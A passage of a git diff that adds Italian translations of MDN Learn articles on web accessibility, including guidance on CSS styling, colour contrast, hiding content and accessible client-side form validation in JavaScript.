+ <li>Tieni a mente che la maggior parte delle pratiche di accessibilità beneficiano tutti gli utenti, non solo quelli con disabilità. Per esempio un codice essenziale, ordinato e semantico non è solo utile per i lettori di schermo, ma è anche più facile e veloce da caricare per i browser, dunque è utile a tutti, soprattutto coloro che usano dispositivi mobili e/o connessioni a internet lente.</li>
+ <li>Pubblica una dichiarazione di accessibilità sul tuo sito, ascolta con attenzione le segnalazioni di eventuali problemi e fai tutto il possibile per risolverli.</li>
+</ul>
+
+<h2 id="Linee_guida_di_accessibilità_e_legge">Linee guida di accessibilità e legge</h2>
+
+<p>Ci sono numerose checklist e set di linee guida disponibili per effettuare test basici di accessibilità, e a prima vista possono apparire complicate. Ti consigliamo innanzitutto di acquisire familiarità con le aree più importantidi cui devi occuparti, e di cercare di comprendere le strutture generali delle linee guida che sono più rilevanti al tuo caso specifico.</p>
+
+<ul>
+ <li>Per cominciare, il W3C ha pubblicato un documento molto dettagliato che include criteri molto precisi e non-tecnici per conformarsi a uno standard accettabile di accessibilità. Tale documento è chiamato <a href="https://www.w3.org/Translations/WCAG20-it/">Linee guida per l'accessibilità dei contenuti web</a>, e si tratta di una lettura piuttosto lunga. I criteri di accessibilità sono divisi in 4 categorie principali, che spiegano come rendere il contenuto percepibile, utilizzabile, comprensibile e robusto. Una versione molto riassunta del documento si può trovare (in inglese) all'indirizzo <a href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. Non è necessario imparare le linee guida a memoria, sii cosciente delle aree generali di cui devi occuparti, e usa una varietà di tecniche e strumenti per gestire le aree che non sono conformi alle linee guida (vedi sotto per maggiori dettagli).</li>
+ <li>Tieni in conto inoltre che esiste una legislazione specifica riguardante l'accessibilità web in vari paesi come Stai Uniti, Germania, Inghilterra, Australia ed anche Italia (vedi <a href="http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita">Accessibilità</a>).</li>
+</ul>
+
+<p>È una buona idea leggere il testo della legge italiana sull'accessibilità, per familiarizzarsi con essa ed evitare eventuali problemi legali per i tuoi siti.</p>
+
+<h2 id="API_per_l'accessibilità">API per l'accessibilità</h2>
+
+<p>I browser fanno uso di alcune <strong>API speciali per l'accessibilità</strong> (fornite dal sistema operativo) che mostrano informazioni utili per le tecnologie assistive (TA). Le TA in generale usano solo informazioni semantiche, dunque non prendono in considerazione aspetti come lo stile di una pagina o gli script in JavaScript. Le informazioni sono strutturate in una <strong>mappa ad albero</strong>.</p>
+
+<p>Ogni sistema operativo ha la sua API per l'accessibilità:</p>
+
+<ul>
+ <li>Windows: MSAA/IAccessible, UIAExpress, IAccessible2</li>
+ <li>Mac OS X: NSAccessibility</li>
+ <li>Linux: AT-SPI</li>
+ <li>Android: Accessibility framework</li>
+ <li>iOS: UIAccessibility</li>
+</ul>
+
+<p>Quando le informazioni semantiche native fornite dagli elementi HTML della tua applicazione web non sono sufficienti, puoi supplementarle con caratteristiche della <a href="https://www.w3.org/TR/wai-aria/">specificazione WAI-ARIA</a> (articolo in inglese), che aggiunge informazione semantica alla mappa ad albero per migliorare l'accessibilità. Puoi sapere di più su WAI-ARIA nel nostro articolo <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">basi di WAI-ARIA</a>.</p>
+
+<h2 id="Riassunto">Riassunto</h2>
+
+<p>Questo articolo dovrebbe averti fornito una utile panoramica sull'accessibilità, averti mostrato perchè è importante, e come puoi inserirla nel tuo flusso di lavoro. Dovrebbe inoltre aver suscitato il tuo interesse e un desiderio di conoscere i dettagli su come implementare l'accessibilità nei tuoi progetti. Cominceremo a occuparcene proprio nella prossima sezione, dove spiegheremo come HTML costituisce un'ottima base per l'accessibilità. </p>
+
+<div>{{NextMenu("Learn/Accessibilità/HTML_accessibilità", "Learn/Accessibilità")}}</div>
diff --git a/files/it/learn/accessibilità/css_e_javascript_accessibilità/index.html b/files/it/learn/accessibilità/css_e_javascript_accessibilità/index.html
new file mode 100644
index 0000000000..6f5e69fea4
--- /dev/null
+++ b/files/it/learn/accessibilità/css_e_javascript_accessibilità/index.html
@@ -0,0 +1,359 @@
+---
+title: Linee guida di accessibilità per CSS e JavaScript
+slug: Learn/Accessibilità/CSS_e_JavaScript_accessibilità
+tags:
+  - Accessibilità
+  - Articolo
+  - CSS
+  - Guida
+  - JavaScript
+  - colore
+  - contrasto
+  - imparare
+  - nascondere
+  - non intrusivo
+translation_of: Learn/Accessibility/CSS_and_JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibilità/HTML_accessibilità","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibilità")}}</div>
+
+<p class="summary">CSS e JavaScript, quando utilizzati propriamente, possono contribuire ad offrire una esperienza accessibile della rete. Se invece vengono utilizzati in maniera incorretta possono causare una drastica riduzione dell'accessibilità. Questo articolo riporta alcune linee guida per l'utilizzo di CSS e JavaScript che devono essere tenute in considerazione per permettere a contenuti anche molto complessi di avere il più alto grado di accessibilità possibile.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscimenti basici sull'uso del computer, livello basico di HTML, CSS e JavaScript e una idea chiara di <a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/Cosa_%C3%A8_accessibilit%C3%A0">cosa è l'accessibilità</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Imparare le basi di come utilizzare CSS e JavaScript correttamente per massimizzare l'accessibilità dei propri siti e allo stesso tempo evitare errori che potrebbero ridurla.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="CSS_e_JavaScript_sono_accessibili">CSS e JavaScript sono accessibili?</h2>
+
+<p>CSS e JavaScript non hanno per l'accessibilità lo stesso livello di importanza che ha HTML, ma possono comunque arrecare grandi danni se usati impropriamente. Per dirlo in un'altra maniera, è importante che tu apprenda alcune linee guida sull'uso di CSS e JavaScript, per evitare di rovinare l'accessibilità dei tuoi documenti web.</p>
+
+<h2 id="CSS">CSS</h2>
+
+<p>Cominciamo col dare un'occhiata a CSS.</p>
+
+<h3 id="Semantiche_corrette_e_aspettative_dell'utente">Semantiche corrette e aspettative dell'utente</h3>
+
+<p>È possibile usare CSS per modificare <em>in qualsiasi modo</em> l'aspetto di qualsiasi elemento HTML, ma questo non significa che lo devi fare obbligatoriamente. Come abbiamo detto più volte nell'articolo <a href="/it/docs/Learn/Accessibilità/HTML_accessibilità">HTML: una buona base per l'accessibilità</a>, dovresti utilizzare sempre l'elemento semantico più appropriato per ogni situazione, a meno che sia davvero impossibile. Se non lo fai, puoi causare confusione e problemi di usabilità a tutti gli utenti, e in particolare a quelli con disabilità. Usare le semantiche corrette significa soprattutto venire incontro alle aspettative degli utenti: gli elementi devono apparire e funzionare secondo certi criteri, a seconda della loro funzione, e gli utenti si aspettano che queste convenzioni siano rispettate. </p>
+
+<p>Per esempio, un utente che usa lettore di schermo non può navigare una pagina attraverso gli elementi di heading se lo sviluppatore del sito non ha usato gli heading appropriati per etichettare il contenuto. Allo stesso modo, un heading perde la sua funzione visuale se lo hai modificato fino al punto in cui non appare più come un heading.</p>
+
+<p>La regola generale è che puoi modificare lo stile di un elemento perchè sia congruente con lo stile generale del tuo sito, ma non modificarlo tanto da far si che non appaia o agisca come ci si aspetterebbe. Le sezioni seguenti riassumono i principali elementi HTML da prendere in considerazione.</p>
+
+<h4 id="Struttura_del_contenuto_testuale_standard">Struttura del contenuto testuale "standard"</h4>
+
+<p>Heading, paragrafi, liste... Il contenuto testuale principale della tua pagina:</p>
+
+<pre class="brush: html">&lt;h1&gt;Heading&lt;/h1&gt;
+
+&lt;p&gt;Paragrafo&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;Lista&lt;/li&gt;
+  &lt;li&gt;Lista di due elementi.&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>Un codice CSS tipico potrebbe essere il seguente:</p>
+
+<pre class="brush: css">h1 {
+  font-size: 5rem;
+}
+
+p, li {
+  line-height: 1.5;
+  font-size: 1.6rem;
+}</pre>
+
+<p>Dovresti:</p>
+
+<ul>
+ <li>Selezionare dimensioni dei caratteri, altezza delle linee, spazio tra le lettere ecc. con lo scopo di rendere il tuo testo logico, comprensibile e facile da leggere. </li>
+ <li>Assicurarti che i tuoi headings risaltino rispetto al corpo del testo, tipicamente apparendo in grassetto e con dimensioni del testo maggiori, come è il loro stile di default. Le liste dovrebbero apparire chiaramente come liste.  </li>
+ <li>Assicurarti che il tuo testo abbia un buon contrasto con il colore di fondo.</li>
+</ul>
+
+<p>Vedi gli articoli in inglese  <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamenti di testo in HTML </a>e <a href="/en-US/docs/Learn/CSS/Styling_text">Modificare lo stile del testo</a> per maggiori informazioni.</p>
+
+<h4 id="Testo_enfatizzato">Testo enfatizzato</h4>
+
+<p>L'etichetta <code>&lt;em&gt;</code> conferisce enfasi al testo, mostrandolo in corsivo. L'etichetta <code>&lt;strong&gt; </code>ha lo stesso scopo, ma mostra il testo in grassetto:</p>
+
+<pre class="brush: html">&lt;p&gt;L'acqua è &lt;em&gt;molto calda&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;Le gocce d'acqua che si formano su una suoerficie sono chiamate &lt;strong&gt;condensa&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<p>Potresti aggiungere un colore particolare per il testo in evidenza:</p>
+
+<pre class="brush: css">strong, em {
+  color: #a60000;
+}</pre>
+
+<p>Ad ogni modo, raramente avrai bisogno di modificare lo stile di elementi enfatizzati. Gli stili standard grassetto e corsivo sono molto riconoscibili, e modificarli potrebbe creare confusione. Per maggiori informazioni sull'enfasi vedi l'articolo in inglese <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">Enfasi e importanza</a>.</p>
+
+<h4 id="Abbreviazioni">Abbreviazioni</h4>
+
+<p>l'etichetta <code>&lt;abbr&gt;</code> indica una abbreviazione o un acronimo, e permette, tramite l'attributo <code>title</code>, di fornire la versione estesa della frase o parola abbreviata:</p>
+
+<pre class="brush: html">&lt;p&gt;Il contenuto di un sito è codificato tramite &lt;abbr title="Hypertext Markup Language"&gt;HTML&lt;/abbr&gt;.&lt;/p&gt;</pre>
+
+<p>Anche in questo caso potresti voler apportare qualche semplice modifica allo stile:</p>
+
+<pre class="brush: css">abbr {
+  color: #a60000;
+}</pre>
+
+<p>Lo standard riconosciuto per indicare le abbreviazioni è una sottolineatura punteggiata, ed è raccomandabile non modificarlo significativamente. Per maggiori dettagli sulle abbreviazioni, vedi l'articolo in inglese <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">Abbreviazioni</a>.</p>
+
+<h4 id="Link">Link</h4>
+
+<p>I link sono il mezzo con cui ti muovi da un punto all'altro della rete:</p>
+
+<pre class="brush: html">&lt;p&gt;Visita la &lt;a href="https://www.mozilla.org"&gt;homepage di Mozilla&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Qui sotto sono riportate alcune semplici modifiche allo stile dei link:</p>
+
+<pre class="brush: css">a {
+  color: #ff0000;
+}
+
+a:hover, a:visited, a:focus {
+  color: #a60000;
+  text-decoration: none;
+}
+
+a:active {
+  color: #000000;
+  background-color: #a60000;
+}</pre>
+
+<p>Lo stile di default per i link è la sottolineatura, inoltre si presentano in diversi colori a seconda del loro stato: blu è il colore nello stato di default, viola nel caso il link sia stato visitato, rosso quando si "attiva" cliccandoci sopra. Oltre a ciò, il puntatore del mouse cambia forma quando lo si passa su un link, e il link viene messo in evidenza quando riceve focus (per esempio tramite tast TAB). Nell'immagine qui sotto possiamo vedere l'evidenziazione di un link in Firefox (cornice punteggiata) e Chrome (cornice azzurra):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14371/focus-highlight-firefox.png" style="display: block; height: 173px; margin: 0px auto; width: 319px;"></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14369/focus-highlight-chrome.png" style="display: block; height: 169px; margin: 0px auto; width: 309px;"></p>
+
+<p>Puoi modificare lo stile dei link come più ti piace, ma facendo attenzione a fornire agli utenti un feedback quando interagiscono coi link. Quando un link cambia di stato si dovrebbe notare. Inoltre, evita di rimuovere stili di default come il cambio di puntatore del mouse o l'evidenziazione quando un link riceve focus: entrambi sono molto importanti per l'accessibilità degli utenti che usano tastiera.</p>
+
+<h4 id="Formulari">Formulari</h4>
+
+<p>I formulari sono elementi che permettono agli utenti di introdurre dati in un sito web:</p>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;label for="nome"&gt;Introduci il tuo nome&lt;/label&gt;
+  &lt;input type="text" id="nome" name="nome"&gt;
+&lt;/div&gt;</pre>
+
+<p>Puoi vedere un buon esempio di uso di CSS  in un formulario qui: <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html">form-css.html</a> (v<a href="http://mdn.github.io/learning-area/accessibility/css/form-css.html">edi anche la versione live</a>).</p>
+
+<p>La maggior parte del codice CSS che scriverai per i formulari sarà per modificare le dimensioni degli elementi, allineare elementi <code>label</code> e <code>input</code> e migliorarne l'aspetto esteriore.</p>
+
+<p>Non dovresti comunque modificare troppo il feedback visuale che gli elementi di un formulario mostrano quando ricevono focus, che è in pratica lo stesso dei link (vedi sopra). Puoi modificare l'aspetto delle evidenziazioni applicate agli elementi del formulario quando ricevono focus o hover del puntatore del mouse per far si che lo stile del tuo sito sia consistente sui diversi browser, ma evita di rimuoverle. Come già detto, alcuni utenti contano su tali "segnali" per poter interpretare ciò che sta accadendo mentre navigano un sito.</p>
+
+<h4 id="Tabelle">Tabelle</h4>
+
+<p>Prendiamo ora in considerazione le tabelle che si usano per presentare dati.</p>
+
+<p>Puoi vedere un buon esempio di tabella costruita con HTML e CSS qui:  <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html">table-css.html</a> (v<a href="http://mdn.github.io/learning-area/accessibility/css/table-css.html">edi anche la versione live</a>).</p>
+
+<p>Il codice CSS applicato alle tabelle serve in genere a uniformarle allo stile generale del sito e a migliorarle esteticamente. Alcune buone pratiche sono ad esempio far si che gli header(intestazioni di file o colonne) della tabella siano in risalto, per esempio usando il grassetto, e far uso di una alternanza di sfondo chiaro e scuro per rendere più facile la distinzione tra le varie file della tabella.</p>
+
+<h3 id="Colore_e_contrasto">Colore e contrasto</h3>
+
+<p>Quando scegli uno schema di colori per il tuo sito, assicurati che il testo abbia un colore che contrasta bene con lo sfondo. Un basso contrasto dei colori può produrre un effetto interessante dal punto di vista estetico, ma renderà molto difficile poter leggere il tuo contenuto alle persone con problemi visivi come il daltonismo.</p>
+
+<p>C'è un modo molto facile per verificare se il contrasto che hai scelto è abbastanza alto da non causare problemi. Ci sono numerosi siti che ti permettono di introdurre il colore del testo e quello dello sfondo, per verificarne il contrasto. Per esempio il sito <a href="http://webaim.org/resources/contrastchecker/">Color Contrast Checker</a> è facile da usare, e fornisce una spiegazione (in inglese) dei criteri WCAG (<a href="https://www.w3.org/Translations/WCAG20-it/">Linee guida per l'accessibilità dei contenuti Web</a>) sul contrasto dei colori.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: un contrasto alto sarà d'aiuto per poter leggere con maggiore facilità anche a chi si connette tramite telefono o tablet in ambienti con molta luce, come un parco o una piazza. </p>
+</div>
+
+<p>Un altro consiglio è di non fare affidamento solo sul colore per fornire un certo tipo di informazioni o segnali, in quanto tali informazioni non potranno essere interpretate da chi non vede i colori. Per esempio, invece di limitarti a marcare in rosso i campi di un formulario che sono da compilare obbligatoriamente, marcali anche con un asterisco.</p>
+
+<h3 id="Nascondere_elementi">Nascondere elementi</h3>
+
+<p>Ci sono molte situazioni nelle quali è necessario che non tutto il contenuto sia mostrato allo stesso tempo. Per esempio nel nostro <a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">info box a schede</a> (vedi <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">codice sorgente</a>) abbiamo tre schede con informazioni posizionate una sopra l'altra, e ci sono tre bottoni cliccabili per passare da una scheda all'altra (il box è accessibile anche da tastiera, usando il tasto TAB per spostarsi tra i bottoni e INVIO per selezionare una scheda).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p>
+
+<p>Gli utenti che usano lettori di schermo non avranno problemi a leggere tutte le schede, l'importante è che l'ordine del contenuto sia sensato. Usare <code>position: absolute</code> (come nel nostro esempio) è in generale considerato come uno dei migliori metodi per nascondere contenuto, perchè non impedisce ai lettori di schermo di leggerlo.</p>
+
+<p>D'altro canto, non dovresti usare {{cssxref("visibility")}}<code>:hidden</code> o {{cssxref("display")}}<code>:none</code>, perchè nascondono il contenuto ai lettori di schermo. A meno che, ovviamente, ci sia una buona ragione per nascondere questo contenuto ai lettori di schermo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: l'articolo in inglese <span class="subtitle"><a href="http://webaim.org/techniques/css/invisiblecontent/">Contenuto visibile solo ai lettori di schermo</a> fornisce molti più dettagli su questo argomento.</span></p>
+</div>
+
+<h3 id="È_possibile_che_gli_utenti_modifichino_lo_stile_dei_tuoi_elementi">È possibile che gli utenti modifichino lo stile dei tuoi elementi</h3>
+
+<p id="Accept_that_users_can_override_your_styles">A volte gli utenti alterano gli stili che hai impostato sostituendoli con stili personalizzati. Per esempio:</p>
+
+<ul>
+ <li>Vedi gli articoli in inglese <a href="https://www.itsupportguides.com/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-google-chrome/">Come cambiare manualmente il CSS in Chrome</a>, <a href="https://www.itsupportguides.com/knowledge-base/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-firefox/">Firefox</a> e <a href="https://www.itsupportguides.com/knowledge-base/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-internet-explorer/">Internet Explorer</a>.</li>
+ <li>Probabilmente è più facile farlo con una estensione, per esempio Stylish, disponibile per <a href="https://addons.mozilla.org/en-US/firefox/addon/stylish/">Firefox</a>, <a href="https://safari-extensions.apple.com/details/?id=com.sobolev.stylish-5555L95H45">Safari</a>, <a href="https://addons.opera.com/en/extensions/details/stylish/">Opera</a>, e <a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe">Chrome</a>.</li>
+</ul>
+
+<p>Gli utenti modificano il CSS per differenti ragioni: un utente con problemi di vista potrebbe voler ingrandire automaticamente il testo su tutti i siti che visita, un utente con daltonismo potrebbe voler aumentare il contrasto dei colori per facilitare la lettura. Qualunque sia la ragione, dovresti tenere in considerazione questa possibilità, e usare un disegno del tuo sito che sia sufficientemente flessibile per poter gestire tali cambi. Per esempio, dovresti assicurarti che l'area dove è situato il tuo contenuto principale può supportare un ingrandimento del testo, mantenendone il formato base e senza farne scomparire parti.</p>
+
+<h2 id="JavaScript">JavaScript</h2>
+
+<p> </p>
+
+<p>Anche JavaScript può causare problemi di accessibilità, dipendendo da come si utilizza.</p>
+
+<p>JavaScript è un linguaggio molto potente, e possiamo usarlo per compiere un'infinità di funzioni, da semplici aggiornamenti del contenuto o della IU a giochi completi in 2D o 3D. Nessuna regola dice che tutto il contenuto deve essere accessibile al 100% a tutti, ma devi fare tutto il possibile, e cercare di rendere le tue applicazioni il più accessibili possibile.</p>
+
+<p>Il contenuto e gli elementi funzionali semplici sono relativamente facili da rendere accessibili: per esempio testo, immagini, tabelle, formulari e bottoni. Come abbiamo visto nell'articolo <a href="/it/docs/Learn/Accessibilità/HTML_accessibilità">HTML: una buona base per l'accessibilità</a>, le considerazioni chiave sono:</p>
+
+<ul>
+ <li>Buone semantiche: usare l'elemento più appropriato per ogni funzione specifica. Per esempio, assicurarsi di usare heading e paragrafi, ed elementi {{htmlelement("button")}} e{{htmlelement("a")}}.</li>
+ <li>Assicurarsi che il contenuto sia disponibile in forma testuale, o direttamente o tramite  <a href="/it/docs/Learn/Accessibilit%C3%A0/HTML_accessibilit%C3%A0#Alternative_testuali">alternative testuali</a>, come per esempio il testo alternativo per le immagini.</li>
+</ul>
+
+<p>Abbiamo inoltre visto un esempio di uso di JavaScript per migliorare l'accessibilità aggiungendo una funzionalità che mancava (vedi <a href="/it/docs/Learn/Accessibilit%C3%A0/HTML_accessibilit%C3%A0#Implementare_l'accessibilità_da_tastiera_in_un_secondo_tempo">Implementare l'accessibilità da tastiera in un secondo tempo</a>). Questo procedimento non è ideale, visto che si dovrebbe usare l'elemento più appropriato per ogni funzione sin dall'inizio, ma dimostra che è possibile intervenire sul codice in situazioni in cui è necessario modificarlo dopo la sua creazione. Un altro modo per migliorare l'accessibilità degli elementi che usano JavaScript non semantico è usare la tecnologia WAI-ARIA per fornire valore semantico extra per gli utenti che usano lettori di schermo. Il prossimo articolo spiegherà in dettaglio come farlo.</p>
+
+<p>Funzionalità complesse come i giochi in 3D non sono tanto facili da rendere accessibili. Un gioco 3D creato usando <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> si svilupperà su un elemento {{htmlelement("canvas")}} , che al momento non permette di fornire alternative testuali o altre informazioni utili per persone con disabilità visiva. Si può ragionevolmente obbiettare che un tale tipo di gioco non ha nel suo target di utenza persone non vedenti, e in effetti sarebbe esagerato pretendere di renderlo accessibile al 100%. Ma ad ogni modo è consigliabile implementare alcuni elementi di accessibilità come i controlli da tastiera, che permettono di giocare anche a utenti senza mouse, e assicurarsi che lo schema dei colori abbia un contrasto sufficientemente alto per essere usabile da persone con daltonismo.</p>
+
+<h3 id="Il_problema_di_un_uso_eccessivo_di_JavaScript">Il problema di un uso eccessivo di JavaScript</h3>
+
+<p>Spesso gli sviluppatori di siti fanno un uso eccessivo di JavaScript. A volte si trovano siti in cui tutto è stato fatto con JavaScript, perfino HTML e CSS sono stati generati con JavaScript. Questo tipo di siti presentano grossi problemi di accessibilità e non solo, ed è sconsigliato sviluppare siti in questo modo.</p>
+
+<p>Così come devi usare il giusto elemento per ogni funzione, assicurati anche di star usando la giusta tecnologia! Pensa bene se vale davvero la pena ricorrere a JavaScript per creare un pannello informazioni in 3D, mentre un semplice pannello testuale potrebbe essere sufficiente. Chiediti se hai davvero bisogno di un formulario basato su un widget super complesso, quando magari un semplice campo di input testuale andrebbe bene. E non generare tutto il tuo contenuto HTML con JavaScript.  </p>
+
+<h3 id="Mantieni_un_uso_non_intrusivo_di_JavaScript">Mantieni un uso non intrusivo di JavaScript</h3>
+
+<p>Dovresti usare JavaScript con discrezione quando crei il tuo contenuto. L'idea di base è che JavaScript dovrebbe essere usato quando possibile per migliorare una funzionalità, ma non per costruirla. Le funzioni più basiche del sito dovrebbero essere indipendenti da JavaScript, anche se a volte ciò non è possibile. Una buona pratica è usare funzionalità già presenti nei browser quando è possibile.</p>
+
+<p>Buoni esempi di uso non intrusivo di JavaScript sono:</p>
+
+<ul>
+ <li>Eseguire la validazione dei formulari dal lato cliente, che avvisa istantaneamente l'utente di errori o problemi nei campi che ha riempito, senza dover aspettare che il server controlli i dati e invii una risposta. Senza validazione dal lato cliente, il formulario funzionerà comunque, ma con maggiore lentezza. </li>
+ <li>Fornire controlli personalizzati per i <code>&lt;video&gt;</code> HTML5 perchè siano accessibili agli utenti che navigano tramite tastiera, insieme a un link diretto al video da usare se JavaScript non è disponibile (nella maggior parte dei browser i controlli <code>&lt;video&gt;</code> di default non sono accessibili tramite tastiera).</li>
+</ul>
+
+<p>Per fare un esempio abbiamo creato un semplice formulario con validazione dal lato cliente, vedi: <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a> (vedi anche la <a href="http://mdn.github.io/learning-area/accessibility/css/form-validation.html">versione live</a>). Nella pagina vedrai un formulario, e, quando provi a inviarlo, se avrai lasciato uno o entrambi i campi vuoti apparirà un messaggio di errore per spiegarti qual è il problema.</p>
+
+<p>Questo tipo di validazione di un formulario è non intrusiva, puoi infatti usare il formulario anche con JavaScript disabilitato, e inoltre il formulario dovrà comunque essere validato anche dal lato server, poichè sarebbe troppo facile per un utente con cattive intenzioni bypassare la validazione dal lato cliente (per esempio disattivando JavaScript nel browser). La validazione dal lato cliente è utile per segnalare istantaneamente eventuali errori all'utente, senza dover attendere la risposta del server, migliorando così l'usabilità del formulario.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: nel nostro esempio la validazione dal lato server non è stata implementata. </p>
+</div>
+
+<p>Abbiamo inoltre reso la validazione di questo formulario accessibile, usando l'elemento {{htmlelement("label")}} per assicurarci che ogni campo di input abbia associata una etichetta senza alcuna ambiguità, di modo che i lettori di schermo possano leggere il blocco input+etichetta come una sola unità:  </p>
+
+<pre class="brush: html">&lt;label for="nome"&gt;Inserisci il tuo nome:&lt;/label&gt;
+&lt;input type="text" name="nome" id="nome"&gt;</pre>
+
+<p>La validazione avviene solo al momento dell'invio del formulario. In questo modo la IU non viene aggiornata troppo spesso potendo causare confusione negli utenti che usano lettori di schermo (e anche in quelli che non li usano):</p>
+
+<pre class="brush: js">form.onsubmit = validate;
+
+function validate(e) {
+  errorList.innerHTML = '';
+  for(var i = 0; i &lt; formItems.length; i++) {
+    var testItem = formItems[i];
+    if(testItem.input.value === '') {
+      errorField.style.left = '360px';
+      createLink(testItem);
+    }
+  }
+
+  if(errorList.innerHTML !== '') {
+    e.preventDefault();
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: in questo esempio stiamo nascondendo e mostrando il messaggio di errore usando <code>position: absolute </code>invece che un altro metodo come <code>visibility: hidden</code> o <code>display: none</code>, perchè in questo modo il lettore di schermo potrà leggerlo senza problemi.  </p>
+</div>
+
+<p>Una validazione reale sarebbe molto più complessa, dovremmo controllare che il nome introdotto sembri effettivamente un nome, che l'età sia un numero e che sia realistica (per esempio non può essere un numero negativo, o di 4 cifre). Nell'esempio abbiamo implementato solo un sistema di verifica che controlla se i campi sono stati riempiti o no (<code>if(testItem.input.value === '')</code>).</p>
+
+<p>Quando la validazione ha terminato con esito positivo, il formulario viene inviato. Se ci sono errori (<code>if(errorList.innerHTML !== '')</code>) l'invio viene bloccato (usando <code><a href="/it/docs/Web/API/Event/preventDefault">preventDefault()</a></code>), e si mostra il messaggio di errore (vedi sotto). Con questo meccanismo gli errori saranno mostrati solo se ci saranno effettivamente errori, migliorando l'usabilità. </p>
+
+<p>Per ogni campo del formulario che è vuoto al momento dell'invio creiamo un item con un link e lo inseriamo nella lista errori (<code>errorList</code>).</p>
+
+<pre class="brush: js">function createLink(testItem) {
+  var listItem = document.createElement('li');
+  var anchor = document.createElement('a');
+  anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.';
+  anchor.href = '#' + testItem.input.name;
+  anchor.onclick = function() {
+    testItem.input.focus();
+  };
+  listItem.appendChild(anchor);
+  errorList.appendChild(listItem);
+}</pre>
+
+<p>Ogni link ha una doppia funzionalità: segnala il tipo di errore e inoltre cliccandoci sopra sposta il focus automaticamente sul campo vuoto da riempire.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: il metodo <code>focus()</code> dell'esempio può creare confusione. Chrome e Edge (e le ultime versioni di IE) sposteranno il focus al campo relativo quando si clicca sul link, senza bisogno della funzione <code>onclick</code>/<code>focus()</code>. Safari si limiterà a evidenziare il campo, ma ha bisogno di <code>onclick</code>/<code>focus()</code> per spostare effettivamente il focus su di esso. Firefox al momento non è in grado di spostare il focus su un campo specifico, quindi il metodo non funzionerà su Firefox. Il problema dovrebbe essere risolto in futuro.</p>
+</div>
+
+<p> </p>
+
+<p>Inoltre, il messaggio di errore è stato posto in cima nel codice HTML (anche se poi viene visualizzato in un altro punto della pagina usando CSS per posizionarlo), di modo che l'utente, tornando in cima alla pagina, può sapere che errore c'è nel suo formulario e andare direttamente al campo in questione.</p>
+
+<p>Come annotazione finale, si noti che abbiamo usato alcuni attributi WAI-ARIA nel nostro esempio, per aiutare a risolvere problemi di accessibilità causati da aree del contenuto che si aggiornano costantemente senza che la pagina si ricarichi (di default i lettori di schermo non segnaleranno ciò agli utenti):</p>
+
+<p> </p>
+
+<pre>&lt;div class="errors" role="alert" aria-relevant="all"&gt;
+  &lt;ul&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<p>Torneremo a occuparci più dettagliatamente di questo tipo di attributi nel prossimo articolo sulla tecnologia <a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics">WAI-ARIA</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: forse starai pensando che HTML5 include già alcuni meccanismi di validazione come gli attributi <code>required</code>, <code>min</code>/<code>minlength</code>, e <code>max</code>/<code>maxlength</code>. Non abbiamo fatto uso di tali attributi nell'esempio, perchè non presentano ancora un livello accettabile di compatibilità nei differenti browser (per esempio Safari non li supporta, Internet Explorer solo a partire dalla versione 10).</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: l'articolo in inglese <a href="http://webaim.org/techniques/formvalidation/">Forme usabili ed accessibili di validazione di formulari e risoluzione di errori</a> fornisce ulteriori utili informazioni su come creare un processo di validazione acessibile.</p>
+</div>
+
+<h3 id="Altri_problemi_di_accessibilità_con_JavaScript">Altri problemi di accessibilità con JavaScript</h3>
+
+<p>Ci sono altri aspetti relativi all'accessibilità da tenere in conto quando si usa JavaScript. Ne aggiungeremo altri all'articolo in futuro.</p>
+
+<h4 id="Eventi_specifici_del_mouse">Eventi specifici del mouse</h4>
+
